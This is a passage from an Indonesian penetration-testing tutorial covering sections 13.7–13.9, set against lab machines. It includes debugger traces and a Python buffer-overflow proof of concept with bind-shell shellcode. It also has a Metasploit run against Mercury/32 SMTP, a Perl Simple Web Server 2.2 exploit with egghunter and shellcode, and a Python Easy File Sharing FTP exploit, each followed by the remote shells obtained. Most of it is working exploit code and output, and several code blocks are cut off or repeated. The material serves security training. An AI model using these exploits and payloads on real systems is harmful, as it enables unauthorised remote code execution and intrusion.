10011BA6  55              PUSH EBP
10011BA7  8B6C24 14       MOV EBP,DWORD PTR SS:[ESP+14]
10011BAB  56              PUSH ESI
10011BAC  53              PUSH EBX
10011BAD  E8 40980000     CALL <JMP.&LIBEAY32.#1653_sk_value>
10011BB2  8B4D 08         MOV ECX,DWORD PTR SS:[EBP+8]
10011BB5  57              PUSH EDI
10011BB6  50              PUSH EAX

Registers (FPU)
EAX 00000000
ECX 10011B76 SSLEAY32.10011B76
EDX 7C9032BC ntdll.7C9032BC
EBX 00000000
ESP 01106780
EBP 011067A0
ESI 00000000
EDI 00000000

EIP 10011B76 SSLEAY32.10011B76

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDC000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_FILENAME_EXCED_RANGE

EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)

ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0
FCW 027F  Prec NEAR,53  Mask    1 1 1 1
```

Tekan Shift + F9

```
CPU - thread 00000DDC, module SSLEAY32
10011B76  5D              POP EBP
10011B77  5B              POP EBX
10011B78  C3              RETN
10011B79  5F              POP EDI
10011B7A  5E              POP ESI
10011B7B  5D              POP EBP
10011B7C  33C0            XOR EAX,EAX
10011B7E  5B              POP EBX
10011B7F  C3              RETN
10011B80  53              PUSH EBX
10011B81  8B5C24 0C       MOV EBX,DWORD PTR SS:[ESP+C]
10011B85  85DB            TEST EBX,EBX
10011B87  75 04           JNZ SHORT SSLEAY32.10011B8D
10011B89  33C0            XOR EAX,EAX
10011B8B  5B              POP EBX
10011B8C  C3              RETN
10011B8D  56              PUSH ESI
10011B8E  57              PUSH EDI
10011B8F  8B7C24 18       MOV EDI,DWORD PTR SS:[ESP+18]
10011B93  53              PUSH EBX
10011B94  897C24 18       MOV DWORD PTR SS:[ESP+18],EDI
10011B98  33F6            XOR ESI,ESI
10011B9A  E8 59980000     CALL <JMP.&LIBEAY32.#1654_sk_num>
10011B9F  83C4 04         ADD ESP,4
10011BA2  85C0            TEST EAX,EAX
10011BA4  7E 25           JLE SHORT SSLEAY32.10011BCB
10011BA6  55              PUSH EBP
10011BA7  8B6C24 14       MOV EBP,DWORD PTR SS:[ESP+14]
10011BAB  56              PUSH ESI
10011BAC  53              PUSH EBX
10011BAD  E8 40980000     CALL <JMP.&LIBEAY32.#1653_sk_value>
10011BB2  8B4D 08         MOV ECX,DWORD PTR SS:[EBP+8]

Registers (FPU)
EAX 00000000
ECX 10011B76 SSLEAY32.1
EDX 7C9032BC ntdll.7C90
EBX 00000000
ESP 01106784
EBP 7C9032A8 ntdll.7C90
ESI 00000000
EDI 00000000

EIP 10011B77 SSLEAY32.1

C 0  ES 0023 32bit 0(FFF
P 1  CS 001B 32bit 0(FFF
A 0  SS 0023 32bit 0(FFF
Z 1  DS 0023 32bit 0(FFF
S 0  FS 003B 32bit 7FFD
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_FILE

EFL 00000246 (NO,NB,E,B

ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0
FST 0000  Cond 0 0 0 0
FCW 027F  Prec NEAR,53
```

Tekan F7

```
CPU - thread 00000DDC, module SSLEAY32
10011B76  5D              POP EBP
10011B77  5B              POP EBX
10011B78  C3              RETN
10011B79  5F              POP EDI
10011B7A  5E              POP ESI
10011B7B  5D              POP EBP
10011B7C  33C0            XOR EAX,EAX
10011B7E  5B              POP EBX
10011B7F  C3              RETN
10011B80  53              PUSH EBX
10011B81  8B5C24 0C       MOV EBX,DWORD PTR SS:[ESP+C]
10011B85  85DB            TEST EBX,EBX
10011B87  75 04           JNZ SHORT SSLEAY32.10011B8D
10011B89  33C0            XOR EAX,EAX
10011B8B  5B              POP EBX
10011B8C  C3              RETN
10011B8D  56              PUSH ESI
10011B8E  57              PUSH EDI
10011B8F  8B7C24 18       MOV EDI,DWORD PTR SS:[ESP+18]
10011B93  53              PUSH EBX
10011B94  897C24 18       MOV DWORD PTR SS:[ESP+18],EDI
10011B98  33F6            XOR ESI,ESI
10011B9A  E8 59980000     CALL <JMP.&LIBEAY32.#1654_sk_num>
10011B9F  83C4 04         ADD ESP,4
10011BA2  85C0            TEST EAX,EAX
10011BA4  7E 25           JLE SHORT SSLEAY32.10011BCB
10011BA6  55              PUSH EBP
10011BA7  8B6C24 14       MOV EBP,DWORD PTR SS:[ESP+14]
10011BAB  56              PUSH ESI
10011BAC  53              PUSH EBX
10011BAD  E8 40980000     CALL <JMP.&LIBEAY32.#1653_sk_value>
10011BB2  8B4D 08         MOV ECX,DWORD PTR SS:[EBP+8]
10011BB5  57              PUSH EDI
10011BB6  50              PUSH EAX

Registers (FPU)
EAX 00000000
ECX 10011B76 SSLEAY32.10011B7
EDX 7C9032BC ntdll.7C9032BC
EBX 01106868
ESP 01106788
EBP 7C9032A8 ntdll.7C9032A8
ESI 00000000
EDI 00000000

EIP 10011B78 SSLEAY32.10011B7

C 0  ES 0023 32bit 0(FFFFFFFF
P 1  CS 001B 32bit 0(FFFFFFFF
A 0  SS 0023 32bit 0(FFFFFFFF
Z 1  DS 0023 32bit 0(FFFFFFFF
S 0  FS 003B 32bit 7FFDC000(F
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_FILENAME_E

EFL 00000246 (NO,NB,E,BE,NS,P

ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E
FST 0000  Cond 0 0 0 0  Err 0
FCW 027F  Prec NEAR,53  Mask
```

Tekan F7

Tekan F7

Hasilnya seperti di atas. Melompati 6 bytes.

PoC Exploit nya seperti di bawah ini

```
#!/usr/bin/python

import socket


buffer = "\x41" * 232

buffer += "\xeb\x06"

buffer += "\x76\x1B\x01\x10"

buffer += "\x90" * 30

buffer +=  ("\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +

"\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +

"\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +
```

```
"\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +
"\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
"\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
"\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
"\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
"\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
"\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
"\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
"\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
"\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
"\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
"\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
"\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
"\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
"\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
"\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
"\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
"\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
"\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
"\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
"\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
"\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
"\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
"\x7d\x8b\xb6\x06")

head  = "GET /chat.ghp?username="+buffer+"&password=admin&room=1&sex=2 HTTP/1.1\r\n"
head += "Host: 192.168.1.101\r\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.101',80))
s.send(head + "\r\n\r\n")
```

s.close()

Saat exploit dijalankan, hasilnya berhasil masuk ke komputer target melalui telnet dengan port 4444.

13.7 Eksploitasi salah satu Mail Server (SMTP)

Simple Mail Transfer Protocol (SMTP) is an Internet communication protocol used to send and relay an email message between email servers. It is not used to retrieve email messages from a server. Instead either IMAP or POP is used to retrieve email messages.

Sumber : simple.wikipedia.org - https://simple.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol

Di sini dilakukan scanning dengan NMAP pada ip address 192.168.1.162 dengan perintah nmap -A 192.168.1.162.

```
Service scan Timing: About 20.00% done; ETC: 17:57 (0:00:04 remaining)
Nmap scan report for 192.168.1.162
Host is up (0.0024s latency).
Not shown: 985 closed ports
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          FileZilla ftpd 0.9.41 beta
22/tcp   open  ssh          WeOnlyDo sshd 1.2.7 (protocol 2.0)
| ssh-hostkey:
|   1024 ec:a2:33:94:87:bc:6d:74:6c:4f:94:30:20:68:71:f0 (DSA)
|_  1024 54:8c:f8:ce:4c:e1:41:ac:8c:f2:3a:0d:dd:46:7a:87 (RSA)
23/tcp   open  telnet       Microsoft Windows XP telnetd
25/tcp   open  smtp
| smtp-commands: Hello nmap.scanme.org; ESMTPs are:, TIME, SIZE 0, HELP,
|_ Recognized SMTP commands are: HELO EHLO MAIL RCPT DATA RSET AUTH NOOP
 is 'Maiser'.
79/tcp   open  finger       Mercury/32 fingerd
| finger: Login: Admin         Name: Mail System Administrator
|
|_[No profile information]
80/tcp   open  http         Mercury/32 httpd
|_http-title: Mercury HTTP Services
106/tcp  open  pop3pw?
110/tcp  open  pop3
| pop3-capabilities: USER APOP EXPIRE(NEVER) TOP UIDL
```

Di atas ditemukan pada port 25 terdapat service SMTP. Disitu diketahui berdasarkan dari port 80 menggunakan Mercury/32 httpd.

Di Metasploit Framework, dilakukan pencarian exploit Mercury/32 dengan perintah search mercury. Di bawah ini ditemukan exploit nya dengan nama exploit/smtp/mercury_cram_md5.

Untuk menggunakan exploit tersebut perintah yang digunakan use exploit/smtp/mercury_cram_md5.

```
msf > search mercury
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                        Disclosure Date  Rank     Descrip
n
   ----                                        ---------------  ----     -------
-
   exploit/windows/browser/hpmqc_progcolor  2007-04-04       normal   HP Mercu
 Quality Center ActiveX Control ProgColor Buffer Overflow
   exploit/windows/imap/mercury_login       2007-03-06       average  Mercury/
 LOGIN Buffer Overflow
   exploit/windows/imap/mercury_rename      2004-11-29       average  Mercury/
 v4.01a IMAP RENAME Buffer Overflow
   exploit/windows/misc/mercury_phonebook   2005-12-19       average  Mercury/
 PH Server Module Buffer Overflow
   exploit/windows/smtp/mercury_cram_md5    2007-08-18       great    Mercury
il SMTP AUTH CRAM-MD5 Buffer Overflow


msf > use exploit/windows/smtp/mercury_cram_md5
msf exploit(mercury_cram_md5) > show options

Module options (exploit/windows/smtp/mercury_cram_md5):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOST                    yes       The target address
   RPORT   25               yes       The target port
```

```
msf exploit(mercury_cram_md5) > show options

Module options (exploit/windows/smtp/mercury_cram_md5):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOST                    yes       The target address
   RPORT   25               yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Mercury Mail Transport System 4.51


msf exploit(mercury_cram_md5) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(mercury_cram_md5) > set rhost 192.168.1.162
rhost => 192.168.1.162
msf exploit(mercury_cram_md5) > exploit

[*] Started bind handler
[*] Trying target Mercury Mail Transport System 4.51...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.162
[*] Command shell session 1 opened (192.168.1.55:53642 -> 192.168.1.162:4444) a
 2015-08-28 18:13:15 -0400

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\MERCURY>
```

Di sini payload yang digunakan ada windows/shell/bind_tcp, perintah yang digunakan set payload windows/shell/bind_tcp.

Untuk set ip address target, perintah yang digunakan adalah set rhost (ip target), di sini targetnya adalah 192.168.1.162.

Untuk menjalankan exploit nya adalah exploit lalu enter.

13.8 Eksploitasi salah satu Web Server di Windows 7

Di sini target windows 7 menggunakan ip address 192.168.1.73. Perintah yang digunakan untuk scanning port dan service nya, nmap -A 192.168.1.73.

Hasil dari scanning ditemukan web server dengan menggunakan port 80. Web Server yang digunakan adalah product dari PMSoftware dengan nama Simple Web Server versi 2.2.

```
root@kalidata:/home/kurniawan#
root@kalidata:/home/kurniawan# nmap -A 192.168.1.73

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-28 13:26 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. T
fy valid servers with --dns-servers
Nmap scan report for 192.168.1.73
Host is up (0.00033s latency).
Not shown: 985 closed ports
PORT      STATE SERVICE        VERSION
80/tcp    open  http           PMSoftware Simple Web Server 2.2
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Simple Web Server 2.2
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
554/tcp   open  rtsp?
2869/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
3389/tcp  open  ms-wbt-server?
5357/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-methods: No Allow or Public header in OPTIONS response (status code 503)
|_http-title: Service Unavailable
10243/tcp open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-methods: No Allow or Public header in OPTIONS response (status code 404)
|_http-title: Not Found
49152/tcp open  msrpc          Microsoft Windows RPC
```

Hasil scanning dengan nmap -A 192.168.1.73 menghasilkan informasi OS yang digunakan pada komputer dengan ip address 192.168.1.73 yaitu Windows 7.

```
MAC Address: 08:00:27:D5:39:2D (Cadmus Computer Systems)
Device type: general purpose
Running: Microsoft Windows 7|2008
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:w
cpe:/o:microsoft:windows_8
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, or Windows 8
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: WINDOWS7-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:d5:3
stems)
| smb-os-discovery:
|   OS: Windows 7 Ultimate 7600 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::-
|   Computer name: windows7-PC
|   NetBIOS computer name: WINDOWS7-PC
|   Workgroup: WORKGROUP
|_  System time: 2015-08-28T10:28:08-07:00
| smb-security-mode:
|   Account that was used for smb scripts: guest
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol
```

Setelah mengetahui nama aplikasi server yang digunakan target maka tahap berikutnya adalah pencarian exploit untuk aplikasi server tersebut. Salah satunya adalah exploit-db.com. Setelah membuat exploit-db.com lalu klik Search.

Di sini dimasukkan kata kunci simple web server lalu klik SEARCH.

Hasil pencarian menampilkan keberadaan exploit yang berhubungan dengan simple web server. Di sini dipilih salah satunya yaitu exploit yang menggunakan title Simple Web Server 2.2-rc2 ASLR Bypass Exploit.

Date	D	A	V	Title
2013-05-30				Intrasrv Simple Web Server 1.0 - SEH Based Remote Code Ex
2013-01-04				simple webserver 2.3-rc1 - Directory Traversal
2012-08-28				Simple Web Server 2.2-rc2 ASLR Bypass Exploit
2012-07-23		-		Simple Web Server Connection Header Buffer Overflow
2012-07-19				Simple Web Server 2.2 rc2 - Remote Buffer Overflow Exploit
2011-06-10				simple web-server 1.2 - Directory Traversal

Berdasarkan informasi yang didapatkan, exploit ini telah diuji di Windows 7 32bit.

« Previous Exploit

```
1   use IO::Socket;
2
3   # Exploit Title: SWS 2.2-rc2 - Remote code execution
4   # Date: 28/8/2012
5   # Special Regards to Mr.pr0n ,Corelan team , immunit
6   # Author: pole
7   # Tested on Windows 7 32bit
8   # NOTE : If exploit is not running properly configur
9   print "Exploit by Dhruval \n";
10
11  if (@ARGV != 2)
12  {
13     print "\n[-] Usage: $0 <target ip> <port> \n\n";
14     exit();
15  }
16
17  $target = $ARGV[0]; # Target IP
18  $port   = $ARGV[1]; # Target port
19
20  $egghunter  =
```

Shellcode yang digunakan oleh exploit ini adalah windows/shell_bind_tcp dengan port 4444.

DATABASE

```
17  $target = $ARGV[0]; # Target IP
18  $port   = $ARGV[1]; # Target port
19
20  $egghunter  =
21  "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02".
22  "\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
23  "w00t". # The 4 byte tag!
24  "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
25
26  # MSF windows/shell_bind_tcp LPORT=4444
27  $shellcode =
28  "\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xba\x3a\x04\xcc\xb6\x5e".
29  "\xb1\x56\x31\x56\x19\x83\xee\xfc\x03\x56\x15\xd8\xf1\x30".
30  "\x5e\x95\xfa\xc8\x9f\xc5\x73\x2d\xae\xd7\xe0\x25\x83\xe7".
31  "\x63\x6b\x28\x8c\x26\x98\xbb\xe0\xee\xaf\x0c\x4e\xc9\x9e".
32  "\x8d\x7f\xd5\x4d\x4d\x1e\xa9\x8f\x82\xc0\x90\x5f\xd7\x01".
33  "\xd4\x82\x18\x53\x8d\xc9\x8b\x43\xba\x8c\x17\x62\x6c\x9b".
34  "\x28\x1c\x09\x5c\xdc\x96\x10\x8d\x4d\xad\x5b\x35\xe5\xe9".
35  "\x7b\x44\x2a\xea\x40\x0f\x47\xd8\x33\x8e\x81\x11\xbb\xa0".
36  "\xed\xfd\x82\x0c\xe0\xfc\xc3\xab\x1b\x8b\x3f\xc8\xa6\x8b".
37  "\xfb\xb2\x7c\x1e\x1e\x14\xf6\xb8\xfa\xa4\xdb\x5e\x88\xab"
```

Untuk melakukan download exploit nya maka bisa klik yang dilingkari di bawah ini,

Simpan file 20876.pl

Saat exploit dipanggil dengan perl, hasilnya exploit memberikan informasi cara penggunaan. Dengan perintah perl 20876.pl 192.168.1.73 80 maka otomatis exploit langsung dijalankan.

Untuk melakukan remote maka digunakan telnet seperti di bawah ini. Perintah remote dengan telnet, perintahnya adalah telnet 192.168.1.73 80.

```
root@kalidata:/home/kurniawan# perl 20876.pl
Exploit by Dhruval

[-] Usage: 20876.pl <target ip> <port>

root@kalidata:/home/kurniawan# perl 20876.pl 192.168.1.73 80
Exploit by Dhruval

[+] Sending buffer (2104 bytes) to: 192.168.1.73:80
[+] Exploitation Done!
[+] Please, wait couple of sec ...
[+] Got shell?

(UNKNOWN) [192.168.1.73] 4444 (?) : Connection refused
root@kalidata:/home/kurniawan# telnet 192.168.1.73 4444
Trying 192.168.1.73...
Connected to 192.168.1.73.
Escape character is '^]'.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files\PMSoftware\sws>ver
ver

Microsoft Windows [Version 6.1.7600]

C:\Program Files\PMSoftware\sws>
```

13.9 Eksploitasi salah satu FTP Server di Windows 10

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
root@kalidata:~# nmap -A 192.168.1.159

Starting Nmap 7.01 ( https://nmap.org ) at 2017-05-24 10:37 EDT
Nmap scan report for 192.168.1.159
Host is up (0.00053s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     Easy File Sharing ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-bounce: no banner
990/tcp open  ssl/ftp Easy File Sharing ftpd
|_ftp-bounce: no banner
| ssl-cert: Subject: commonName=www.efssoft.com/organizationName=EFS Software In
c./stateOrProvinceName=California/countryName=US
| Not valid before: 2007-02-27T06:40:07
|_Not valid after:  2008-02-27T06:40:07
|_ssl-date: 2017-05-24T14:38:00+00:00; 0s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
```

nmap -A 192.168.1.159

Terdeteksi target menggunakan Easy File Sharing FTPD

Buka http://exploit-db.com lalu klik search

EXPLOIT DATABASE

Home Exploits Shellcode Papers Google Hacking Database Submit Search

easy file sharing 1

I'm not a robot reCAPTCHA

Search 2

22 total entries

Date	D	A	V	Title	Platform	Author
2016-07-29				Easy File Sharing Web Server 7.2 - SEH Overflow (Egghunter)	Windows	ch3rn0byl
2016-04-05				Easy File Sharing HTTP Server 7.2 - SEH Overflow (Metasploit)	Windows	Metasploit
2015-12-16				Easy File Sharing Web Server 7.2 - GET HTTP Request Buffer Overflow (SEH)	Windows	ArminCyber
2015-12-16				Easy File Sharing Web Server 7.2 - HEAD HTTP Request Buffer Overflow (SEH)	Windows	ArminCyber
2015-11-30		-		Easy File Sharing Web Server 7.2 - Remote Buffer Overflow (SEH) (DEP Bypass with ROP)	Windows	Knaps
2015-10-23				Easy File Sharing Web Server 7.2 - Remote SEH Based Overflow	Windows	Audit0r
2015-08-24				Easy File Sharing Web Server 6.9 - USERID Remote Buffer Overflow	Windows	Tracy Turben
2014-12-27				Easy File Sharing WebServer 6.8 - Persistent Cross-Site Scripting	PHP	Sick Psycko
2014-05-27				Easy File Sharing FTP Server 3.5 - Stack Buffer Overflow 3	Windows	superkojiman
2014-05-14				Easy File Sharing Web Server 6.8 - Stack Buffer Overflow	Windows	superkojiman

Kata kuncinya : easy file sharing lalu lakukan search

Lalu klik exploit nya

DATABASE

EDB-ID: 33538	**Author**: superkojiman	**Published**: 2014-05-27
CVE: CVE-2006-3952	**Type**: Remote	**Platform**: Windows
E-DB Verified: ✔	**Exploit**: Download / View Raw	**Vulnerable App**:

« Previous Exploit

```
#!/usr/bin/env python
# Exploit Title: Easy File Sharing FTP Server 3.5 stack buffer overflow
# Date: 27 May 2014
# Exploit Author: superkojiman - http://www.techorganic.com
# Vulnerability discovered by: h07
# CVE: CVE-2006-3952
# OSVDB: 27646
# Vendor Homepage: http://www.efssoft.com
# Software Link: http://www.efssoft.com/ftpserver.htm
# Version: 3.5
# Tested on: Windows 8.1 Enterprise , English
#          : Windows 7 Enterprise SP1, English
#          : Windows XP SP3, English
#
# Description:
# A buffer overflow is triggered when when a large password is sent to the
# server.
#
# h07 found this bug in 2006, targetting EFS FTP Server 2.0. The original
# exploits relied on OS DLLs to reference a pop/pop/retn address to leverage a
# SEH attack. This was a bit unreliable as different versions of Windows would
```

Exploit ini telah di tes pada versi-versi windows di atas

```
#
# h07 found this bug in 2006, targetting EFS FTP Server 2.0. The original
# exploits relied on OS DLLs to reference a pop/pop/retn address to leverage a
# SEH attack. This was a bit unreliable as different versions of Windows would
# have different addresses and the exploit would need to be modified with the
# correct pop/pop/retn address.
#
# Fast forward to 2014. EFS FTP Server is now at version 3.5 (2012) and
# includes new features, such as SSL support. Ironically, by adding SSL
# support, they've given us a reliable pop/pop/retn address in the included
# SSLEAY32.DLL! This exploit should work reliably with any Windows release.


import socket
import struct

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

payload = "\x20"
payload += "A"*2559
payload += "\xeb\x19\x90\x90"                # jmp to nop sled + shellcode
payload += struct.pack("<I", 0x10017F21)     # pop/pop/ret, SSLEAY32.DLL
payload += "\x90"*30
payload += shellcode
```

Shellcode hanya untuk menjalankan kalkulator

EDB-ID: 33538	**Author**: superkojiman	**Published**: 2014-05-27
CVE: CVE-2006-3952	**Type**: Remote	**Platform**: Windows
E-DB Verified: ✔	**Exploit**: Download / View Raw	**Vulnerable App**:

1

« Previous Exploit

```
#!/usr/bin/env python
# Exploit Title: Easy File Sharing FTP Ser
# Date: 27 May 2014
# Exploit Author: superkojiman - http://ww
# Vulnerability discovered by: h07
# CVE: CVE-2006-3952
# OSVDB: 27646
# Vendor Homepage: http://www.efssoft.com
# Software Link: http://www.efssoft.com/ft
# Version: 3.5
# Tested on: Windows 8.1 Enterprise , Engl
#          : Windows 7 Enterprise SP1, Eng
#          : Windows XP SP3, English
#
# Description:
# A buffer overflow is triggered when wher
# server.
#
# h07 found this bug in 2006, targetting E
# exploits relied on OS DLLs to reference
# SEH attack. This was a bit unreliable as
# have different addresses and the exploit
# correct pop/pop/retn address.
#
# Fast forward to 2014. EFS FTP Server is
# includes new features, such as SSL support. Ironically, by adding SSL
# support, they've given us a reliable pop/pop/retn address in the included
```

Opening 33538.py

You have chosen to open:

33538.py

which is: PY file (2.4 KB)

from: https://www.exploit-db.com

What should Firefox do with this file?

Open with Notepad (default)

Save File

Do this automatically for files like this from now on.

2

OK Cancel

Download exploit

```
# Fast forward to 2014. EFS FTP Server is now at version 3.5 (2012) and
# includes new features, such as SSL support. Ironically, by adding SSL
# support, they've given us a reliable pop/pop/retn address in the inclu
# SSLEAY32.DLL! This exploit should work reliably with any Windows relea


import socket
import struct

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

payload = "\x2c"
payload += "A"*2559
payload += "\xeb\x19\x90\x90"              # jmp to nop sled + shellcode
payload += struct.pack("<I", 0x10017F21)   # pop/pop/ret, SSLEAY32.DLL
payload += "\x90"*30
```

```
\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7 ;

# MSF windows/shell_bind_tcp LPORT=4444
$shellcode =
"\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xba\x3a\x04\xcc\xb6\x5e".
"\xb1\x56\x31\x56\x19\x83\xee\xfc\x03\x56\x15\xd8\xf1\x30".
"\x5e\x95\xfa\xc8\x9f\xc5\x73\x2d\xae\xd7\xe0\x25\x83\xe7".
"\x63\x6b\x28\x8c\x26\x98\xbb\xe0\xee\xaf\x0c\x4e\xc9\x9e".
"\x8d\x7f\xd5\x4d\x4d\x1e\xa9\x8f\x82\xc0\x90\x5f\xd7\x01".
"\xd4\x82\x18\x53\x8d\xc9\x8b\x43\xba\x8c\x17\x62\x6c\x9b".
"\x28\x1c\x09\x5c\xdc\x96\x10\x8d\x4d\xad\x5b\x35\xe5\xe9".
"\x7b\x44\x2a\xea\x40\x0f\x47\xd8\x33\x8e\x81\x11\xbb\xa0".
"\xed\xfd\x82\x0c\xe0\xfc\xc3\xab\x1b\x8b\x3f\xc8\xa6\x8b".
"\xfb\xb2\x7c\x1e\x1e\x14\xf6\xb8\xfa\xa4\xdb\x5e\x88\xab".
